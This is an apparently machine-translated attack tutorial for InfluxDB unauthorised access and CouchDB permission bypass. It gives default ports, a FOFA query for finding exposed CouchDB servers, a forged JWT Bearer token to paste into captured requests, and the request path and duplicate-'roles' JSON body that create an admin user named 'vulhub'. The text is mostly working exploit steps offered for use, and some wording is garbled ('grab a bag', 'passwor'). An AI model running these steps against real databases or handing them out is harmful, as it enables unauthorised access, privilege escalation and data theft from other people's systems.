Influxdb unauthorized access & CouchDB permission bypass

Influxdb- Unauthorized access

Default port ：8086 8088

With the help of https://jwt.io/ To generate jwt token：

Grab a bag when logging in

Then add a part to the data

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJpYXQiOjE2NzEyNTIxMjN9.Y9i99OpSWOInZqmBpQAvr2ymmsWG2dZZDYkz9RzrCk0

At this time, you can check the data

CouchDB- Authority bypass

FOFA How can I try

The corresponding version should not be higher than 1.7.0

“CouchDB” && port=“5984”

Unauthorized

Add... After the address

_utils/#

There is also another one that needs to catch packets

Two things need to be added to the data package

/_users/org.couchdb.user:vulhub 

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "passwor": "123456"
}

When we send packets , You can see a OK Time

You may have successfully added the user

You can try to login